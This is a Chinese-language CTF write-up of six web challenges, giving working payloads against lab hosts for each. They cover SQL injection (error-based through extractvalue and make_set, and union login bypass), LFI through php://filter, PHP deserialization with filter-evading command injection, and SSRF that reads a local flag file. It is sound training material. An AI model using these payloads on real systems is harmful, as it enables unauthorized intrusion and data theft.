fafuCtf_WEB题解
签到
md5特性传入数组会报错。
payload:name[]=1&password[]=2
flag{WelCome_To_Fafu_2019_ctf}
login1
该题存在BUG可以执行LFI
,但是把源码都扒了,发现并不存在sql注入的信息。
扫描目录发现.git
,使用githack还原
黑耀石浏览器
抓包返回头带hint: include($_GET[“file”])
使用php://filter
协议一个个扒源码index.php、class.php
根据index.php结合class.php构造关于pass参数的反序列化
/index.php?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}
sqli
- 首先判断id是字符型还是整型=》id=2-1返回id=1内容
- 扔到burpsuite中进行fuzz发现过滤大量可用注入if,union…
- 添加单引号报错,猜测可以进行报错注入,正好extractvalue,updatexml未被过滤
单纯使用报错语句会有32字符限制,会使得返回的信息不完整,但是这里又过滤了concat
等字符拼接
可以参考文章:https://www.w3resource.com/mysql/string-functions/mysql-make_set-function.php
Payload:
http://172.31.19.13/?id=1||extractvalue(1,(make_set(3,%27~%27,(select%20flag%20from%20flag))))
其实直接用报错语句也可以
http://172.31.19.13/?id=1||extractvalue(1,(select%20flag%20from%20flag))
login2
最近刷的Sql注入有点多
https://zhzhdoai.github.io/2019/04/06/RingZer0-CTF-web-sql-WP/#Login-portal-2-%EF%BC%88sha1%E6%B3%A8%E5%85%A5%EF%BC%89
bugku也有类似的
这题采过坑,爆出的密码为sha1,猜测后端逻辑是把从数据库sha1
加密后的password
与输入的password
进行比较。
使用联合注入,即可得到结果
payload:
username=admin’ union select sha1(1),sha1(1)#
password=1
blog
点击flag,发现参数page似乎有包含文件。但是尝试包含其他文件无果。
目录扫描采集信息
访问http://172.31.19.53/www-zip
下载得到源码
Index.php
参数$tip使用php伪协议POST you got this
,
tip=php://input
POST DATA:you got this
跟进class.php构造$tips
反序列化
class.php黑名单过滤了空格和linux部分命令,system方法处存在命令执行。
Payload:
/index.php?tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:34:"Flag.php|ca''t$IFS./templates/Flag";}
///index.php?tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:32:"Flag.php|rev$IFS./templates/Flag";}
///index.php?tip=php://input&tips=O:4:"Blog":1:{s:4:"file";s:31:"Flag.php|c''at%09./templates/Flag";}
一些空白符在php中长度
https://wayne173.iteye.com/blog/1471783
fakebook
这题是2018网鼎杯原题:https://mochazz.github.io/2018/08/21/2018%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%B8%80%E5%9C%BAWeb%E9%A2%98%E8%A7%A3/
/view.php?no=1
参数存在Sql注入
依旧使用burpsuiteFUZZ查找过滤字段
payload
http://172.31.19.15/view.php?no=21 || extractvalue(1,make_set(3,’~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
[*] query error! (XPATH syntax error: '~,users')
http://172.31.19.15/view.php?no=21%20||%20extractvalue(1,make_set(3,%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))
[*] query error! (XPATH syntax error: '~,no,username,passwd,data')
http://172.31.19.15/view.php?no=21%20||%20extractvalue(1,make_set(3,%27~%27,(select%20group_concat(data)%20from%20users)))#
[*] query error! (XPATH syntax error: '~,O:8:"UserInfo":3:{s:4:"name";s')
数据库中存储data字段存储序列化字符串。而网页下方有显示当前博客地址,可能是对data字段值进行反序列化,并加载用户blog。存在ssrf。
payload:http://172.31.19.15/view.php?no=-1%20union/**/select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:4:%22test%22;s:3:%22age%22;s:2:%2212%22;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27#
PS:测试http://172.31.19.15/flag.php
状态码200,该目录下存在flag.php文件
ifram
标签回显blog内容,解码base64
得flag
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!